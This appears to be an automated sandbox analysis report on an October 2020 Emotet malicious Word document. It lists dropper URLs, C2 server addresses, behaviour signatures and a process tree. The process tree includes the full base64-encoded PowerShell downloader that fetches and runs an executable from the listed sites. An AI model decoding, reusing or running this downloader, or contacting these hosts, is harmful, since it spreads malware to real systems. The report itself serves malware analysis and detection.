Analysis
- max time kernel
137s - max time network
142s - platform
windows10_x64 - resource
win10 - submitted
27/10/2020, 15:49
General
- Target emotet_e2_e7209fda6a92ab1c1d55690ebcbfa32f2f0dd773e2912bcd0259bb91509a2e94_2020-10-27__154618054436._fpx.doc
- Size 184KB
- Sample201027-dpewvg4ja2
- SHA256 e7209fda6a92ab1c1d55690ebcbfa32f2f0dd773e2912bcd0259bb91509a2e94
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://noorpurefood.com/wp-content/eyH9I/
-
exe.dropper
http://amorepooh.com/wp-content/themes/twentyseventeen/G3RZxc/
-
exe.dropper
http://hatele.net/wp-admin/N/
-
exe.dropper
http://promaxgh.com/wp-content/uploads/f/
-
exe.dropper
http://pikama.us/wp-includes/BBW/
-
exe.dropper
http://shaishavchildrights.org/wp-content/L4bRiZo/
-
exe.dropper
https://maradrugstore.com/old/n/
-
exe.dropper
https://lilianaoliveira.com/office-365/m1MRNr/
Extracted
Family
-
emotet
Botnet
-
Epoch2
C2
-
88.153.35.32:80
-
107.170.146.252:8080
-
173.212.214.235:7080
-
167.114.153.111:8080
-
67.170.250.203:443
-
121.124.124.40:7080
-
103.86.49.11:8080
-
74.214.230.200:80
-
194.187.133.160:443
-
172.104.97.173:8080
-
172.91.208.86:80
-
200.116.145.225:443
-
202.134.4.216:8080
-
172.105.13.66:443
-
190.164.104.62:80
-
50.35.17.13:80
-
176.111.60.55:8080
-
201.241.127.190:80
-
66.76.12.94:8080
-
95.213.236.64:8080
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 2 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e7209fda6a92ab1c1d55690ebcbfa32f2f0dd773e2912bcd0259bb91509a2e94_2020-10-27__154618054436._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD IAAgAFMAZQB0AC0AaQB0AGUATQAgACgAIgB2ACIAKwAiAGEAIgArACIAUgBJAGEAYgBMAEUAOgAiACsAIgBGAGUAMgBzACIAKQAgACAAKAAgAFsAdAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADAAfQAiACAALQBmACAAJwBZACcALAAnAC4AZABJAFIARQBDACcALAAnAHMAJwAsACcAWQBzAHQARQBNAC4AJwAsACcAaQBvACcALAAnAFQATwByACcAKQApACAAIAA7ACAAIAAgACAAUwBlAFQALQBJAHQAZQBtACAAdgBBAFIAaQBhAGIAbABlADoAbwBxAGcAMABDACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAzAH0AewAyAH0AewA2AH0AewAxAH0AewAwAH0AewA0AH0AewA1AH0AIgAtAGYAIAAnAHQAbQBhACcALAAnAEkATgAnACwAJwB2ACcALAAnAHMAeQBzAHQAZQBNAC4ATgBlAFQALgBzAGUAcgAnACwAJwBOAGEAZwBlACcALAAnAFIAJwAsACcAaQBjAGUAUABPACcAKQAgACAAKQAgADsAIAAkAFAAMgBzAHMAeAA5AHQAPQAoACcAVQAwACcAKwAnAGsAJwArACgAJwAzACcAKwAnAGsAcwA1ACcAKQApADsAJABVAHoAaQA5ADMANgBoAD0AJABBADgAOAB3AGkAdAB1ACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABFAHgANQB6AHEAbgBzADsAJABJAHkAbQBiAG0AegAxAD0AKAAoACcARQAnACsAJwBlADgAJwApACsAJwByACcAKwAoACcAbgAnACsAJwA2AGwAJwApACkAOwAgACAAJABmAEUAMgBTADoAOgAiAEMAUgBlAGAAQQBUAGAARQBEAGkAUgBFAEMAdABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAGUATwAnACsAKAAnADYAUQAnACsAJwAxAGIAegBwACcAKQArACcAeQAnACsAKAAnAHgAJwArACcAZQBPACcAKQArACgAJwA2AEUAcQBlACcAKwAnADgAJwApACsAKAAnADIAcgBuACcAKwAnAGUAJwArACcATwA2ACcAKQApAC4AIgBSAEUAYABwAGAAbABhAGMAZQAiACgAKAAnAGUATwAnACsAJwA2ACcAKQAsAFsAUwB0AFIAaQBuAEcAXQBbAEMAaABBAFIAXQA5ADIAKQApACkAOwAkAFEANwA2ADYAdgAzAG0APQAoACcARgAnACsAKAAnADkAJwArACcAbQBhAGUANgAnACsAJwByACcAKQApADsAIAAoAHYAYQBSAGkAQQBiAGwARQAgACAATwBxAEcAMABjACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAHMAYABFAGAAYwBVAHIAYABJAFQAWQBwAFIATwB0AG8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQATABhAHEAdwBnADMAOAA9ACgAJwBGAGgAJwArACgAJwBwAGUAeAAnACsAJwBkAGgAJwApACkAOwAkAEMAaQBqAHUAbABrAGkAIAA9ACAAKAAoACcASQBmAGIAJwArACcAdQAnACkAKwAnAHMAJwArACcAeAAxACcAKQA7ACQASQBqADUAbwBuAHoAdgA9ACgAKAAnAFIAcwBhAG4AJwArACcAbwAnACkAKwAnAHoAJwArACcAcwAnACkAOwAkAFoAdAB4AG4AbgBpAHEAPQAoACcAVAAnACsAJwBiACcAKwAoACcAegAwADQAJwArACcAOAA5ACcAKQApADsAJABNAGIAaABjAHEAdABxAD0AJABIAE8ATQBFACsAKAAoACcAdQAnACsAKAAnAHMAYQAnACsAJwBRADEAJwApACsAKAAnAGIAJwArACcAegAnACsAJwBwAHkAeAB1AHMAJwApACsAJwBhACcAKwAoACcARQAnACsAJwBxAGUAOAAyAHIAbgAnACkAKwAoACcAdQBzACcAKwAnAGEAJwApACkALgAiAFIARQBwAGAAbABgAEEAQwBFACIAKAAoAFsAYwBIAGEAcgBdADEAMQA3ACsAWwBjAEgAYQByAF0AMQAxADUAKwBbAGMASABhAHIAXQA5ADcAKQAsAFsAcwBUAHIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABDAGkAagB1AGwAawBpACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABIADgAawA4ADAAcwBfAD0AKAAoACcAUQBjACcAKwAnAHEAJwApACsAKAAnAGYAZAA1ACcAKwAnADgAJwApACkAOwAkAEYAdgBuAHMAMQB3ADIAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAYwBsAGkARQBOAFQAOwAkAEMAdwBiAGgAZQBhAGIAPQAoACcAaAAnACsAKAAnAHQAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAnAFsAIAAnACsAKAAnAHcAJwArACcAZQAgAF0AJwApACsAJwBbACcAKwAoACcAIAB3ACcAKwAnAGUAIABdACcAKQArACgAJwBuAG8AJwArACcAbwAnACkAKwAoACcAcgBwACcAKwAnAHUAcgAnACkAKwAoACcAZQBmAG8AJwArACcAbwAnACkAKwAoACcAZAAnACsAJwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwBbACAAdwBlACcAKwAnACAAJwApACsAKAAnAF0AdwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACkAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcAWwAgACcAKwAnAHcAJwApACsAJwBlACcAKwAnACAAJwArACgAJwBdAGUAeQAnACsAJwBIACcAKQArACgAJwA5AEkAWwAgAHcAZQAnACsAJwAgAF0AJwApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACcAWwAnACsAKAAnACAAdwBlACAAJwArACcAXQBbACcAKwAnACAAdwBlACcAKQArACgAJwAgACcAKwAnAF0AYQAnACkAKwAnAG0AJwArACcAbwByACcAKwAoACcAZQBwACcAKwAnAG8AJwApACsAJwBvACcAKwAnAGgAJwArACgAJwAuACcAKwAnAGMAbwBtAFsAJwApACsAKAAnACAAdwAnACsAJwBlACcAKQArACcAIAAnACsAJwBdACcAKwAnAHcAJwArACcAcAAtACcAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwApACsAJwBbACcAKwAoACcAIAB3ACcAKwAnAGUAJwApACsAJwAgAF0AJwArACgAJwB0AGgAJwArACcAZQBtAGUAJwApACsAKAAnAHMAWwAgACcAKwAnAHcAZQAgAF0AJwApACsAJwB0ACcAKwAoACcAdwBlACcAKwAnAG4AdAAnACkAKwAoACcAeQBzAGUAJwArACcAdgAnACkAKwAoACcAZQBuAHQAJwArACcAZQBlACcAKQArACcAbgAnACsAJwBbACcAKwAnACAAJwArACcAdwBlACcAKwAnACAAXQAnACsAJwBHADMAJwArACcAUgBaACcAKwAoACcAeABjAFsAIAAnACsAJwB3ACcAKwAnAGUAIABdACcAKQArACcAQAAnACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgBbACAAJwApACsAKAAnAHcAZQAnACsAJwAgAF0AWwAnACkAKwAoACcAIAAnACsAJwB3AGUAJwApACsAKAAnACAAXQBoAGEAdAAnACsAJwBlACcAKwAnAGwAZQAuAG4AJwArACcAZQAnACkAKwAnAHQAWwAnACsAJwAgACcAKwAoACcAdwBlACcAKwAnACAAXQB3AHAALQBhAGQAJwArACcAbQAnACsAJwBpAG4AJwApACsAKAAnAFsAJwArACcAIAB3ACcAKQArACgAJwBlACAAXQBOAFsAIAB3ACcAKwAnAGUAIABdAEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AFsAIAAnACkAKwAnAHcAJwArACcAZQAgACcAKwAoACcAXQAnACsAJwBbACAAdwBlACAAJwApACsAKAAnAF0AcAByAG8AJwArACcAbQBhAHgAZwAnACsAJwBoAC4AYwAnACkAKwAoACcAbwBtAFsAJwArACcAIAAnACkAKwAoACcAdwBlACAAXQB3ACcAKwAnAHAALQBjACcAKQArACcAbwAnACsAKAAnAG4AdABlAG4AJwArACcAdAAnACkAKwAoACcAWwAgACcAKwAnAHcAJwApACsAJwBlACcAKwAnACAAJwArACgAJwBdAHUAJwArACcAcAAnACkAKwAnAGwAJwArACcAbwBhACcAKwAnAGQAcwAnACsAJwBbACcAKwAnACAAdwAnACsAKAAnAGUAIAAnACsAJwBdACcAKQArACgAJwBmAFsAJwArACcAIAB3AGUAJwArACcAIABdAEAAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAWwAnACsAJwAgAHcAZQAgACcAKQArACcAXQBbACcAKwAoACcAIAB3AGUAIAAnACsAJwBdAHAAaQBrACcAKwAnAGEAJwApACsAJwBtACcAKwAoACcAYQAnACsAJwAuAHUAJwApACsAJwBzACcAKwAoACcAWwAgAHcAZQAgAF0AdwBwACcAKwAnAC0AJwArACcAaQAnACkAKwAoACcAbgBjAGwAdQAnACsAJwBkACcAKQArACcAZQAnACsAKAAnAHMAJwArACcAWwAgAHcAZQAnACkAKwAnACAAJwArACcAXQAnACsAKAAnAEIAQgAnACsAJwBXACcAKQArACgAJwBbACAAJwArACcAdwBlACAAJwArACcAXQBAACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAFsAIAB3AGUAJwArACcAIABdACcAKQArACcAWwAnACsAKAAnACAAJwArACcAdwAnACsAJwBlACAAXQBzACcAKQArACgAJwBoACcAKwAnAGEAaQBzAGgAYQB2ACcAKQArACgAJwBjAGgAaQAnACsAJwBsACcAKQArACgAJwBkAHIAaQAnACsAJwBnAGgAdABzACcAKwAnAC4AJwApACsAKAAnAG8AJwArACcAcgAnACsAJwBnAFsAIAB3AGUAIABdACcAKQArACcAdwAnACsAKAAnAHAALQAnACsAJwBjAG8AJwApACsAJwBuAHQAJwArACgAJwBlACcAKwAnAG4AdAAnACkAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgAF0ATAAnACsAJwA0AGIAUgAnACsAJwBpAFoAJwApACsAKAAnAG8AWwAnACsAJwAgAHcAZQAnACkAKwAnACAAJwArACcAXQBAACcAKwAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAJwArACcAOgBbACcAKwAoACcAIAB3AGUAIABdAFsAJwArACcAIAB3ACcAKwAnAGUAJwArACcAIAAnACkAKwAoACcAXQBtAGEAcgAnACsAJwBhACcAKQArACcAZAAnACsAJwByACcAKwAnAHUAJwArACcAZwBzACcAKwAoACcAdABvAHIAZQAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACgAJwBbACAAJwArACcAdwBlACAAXQBvACcAKwAnAGwAJwApACsAKAAnAGQAJwArACcAWwAgACcAKQArACcAdwBlACcAKwAnACAAXQAnACsAJwBuAFsAJwArACcAIAAnACsAKAAnAHcAJwArACcAZQAgACcAKQArACgAJwBdAEAAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwAnACsAJwA6AFsAIAB3AGUAIAAnACsAJwBdAFsAJwApACsAJwAgAHcAJwArACcAZQAgACcAKwAoACcAXQAnACsAJwBsAGkAJwApACsAKAAnAGwAaQBhAG4AJwArACcAYQAnACkAKwAnAG8AJwArACcAbABpACcAKwAnAHYAJwArACcAZQBpACcAKwAoACcAcgBhAC4AYwAnACsAJwBvAG0AJwApACsAJwBbACcAKwAoACcAIAAnACsAJwB3AGUAJwApACsAJwAgACcAKwAoACcAXQBvACcAKwAnAGYAZgBpACcAKQArACcAYwAnACsAJwBlAC0AJwArACgAJwAzADYANQBbACcAKwAnACAAJwApACsAJwB3AGUAJwArACcAIABdACcAKwAnAG0AJwArACgAJwAxACcAKwAnAE0AUgAnACkAKwAoACcATgByAFsAIAB3AGUAJwArACcAIAAnACsAJwBdACcAKQApAC4AIgByAGUAYABwAGwAQQBjAEUAIgAoACgAJwBbACAAJwArACgAJwB3AGUAJwArACcAIABdACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACcAZgBzACcAKQBbADAAXQApAC4AIgBzAHAAbABgAEkAVAAiACgAJABSAGcAdgBfAGEAbQBoACAAKwAgACQAVQB6AGkAOQAzADYAaAAgACsAIAAkAFYAMQB5AGwAYQB4AHUAKQA7ACQATwBnAGMAcwBwAHcAOAA9ACgAJwBOACcAKwAnAGUAMgAnACsAKAAnAGsAMwAnACsAJwBsAGEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFcANgB6ADIAawA2ADAAIABpAG4AIAAkAEMAdwBiAGgAZQBhAGIAKQB7AHQAcgB5AHsAJABGAHYAbgBzADEAdwAyAC4AIgBEAE8AYAB3AG4AYABsAG8AQQBEAEYAYABJAGwAZQAiACgAJABXADYAegAyAGsANgAwACwAIAAkAE0AYgBoAGMAcQB0AHEAKQA7ACQARABiAGwAeABtADAANQA9ACgAKAAnAFMAZwAnACsAJwBkAGkANgAnACkAKwAnAHkAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQATQBiAGgAYwBxAHQAcQApAC4AIgBMAEUAYABOAGcAdABIACIAIAAtAGcAZQAgADQAOQA3ADYAOAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpACcAKwAnAG4AMwAyACcAKQArACgAJwBfACcAKwAnAFAAcgAnACkAKwAnAG8AYwAnACsAKAAnAGUAcwAnACsAJwBzACcAKQApACkALgAiAEMAUgBlAGAAQQBgAFQAZQAiACgAJABNAGIAaABjAHEAdABxACkAOwAkAFMAdgA4ADMAbwBpAGMAPQAoACcAQwBxACcAKwAnADcAJwArACgAJwB2ADgAJwArACcAbQB0ACcAKQApADsAYgByAGUAYQBrADsAJABUAGcAMABtADkAcAB3AD0AKAAoACcARAA0ACcAKwAnAGkAcwAnACkAKwAoACcAegB4ACcAKwAnADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAMwBjADEAZQBmADIAPQAoACcARwAnACsAKAAnAG4AaQAnACsAJwBzACcAKQArACgAJwA5AG4AJwArACcANQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Q1bzpyx\Eqe82rn\Ifbusx1.exeC:\Users\Admin\Q1bzpyx\Eqe82rn\Ifbusx1.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Windows.StateRepositoryClient\UserAccountBroker.exe"C:\Windows\SysWOW64\Windows.StateRepositoryClient\UserAccountBroker.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1120-16-0x00000000034F0000-0x0000000003500000-memory.dmp
memory/2104-8-0x00007FF9A7B60000-0x00007FF9A854C000-memory.dmp
memory/2104-9-0x000001FBC1BB0000-0x000001FBC1BB1000-memory.dmp
memory/2104-10-0x000001FBDA4D0000-0x000001FBDA4D1000-memory.dmp
memory/2436-22-0x00000000033B0000-0x00000000033C0000-memory.dmp
memory/3932-0-0x00007FF9AF180000-0x00007FF9AF7B7000-memory.dmp
memory/3932-5-0x0000016179400000-0x0000016179406000-memory.dmp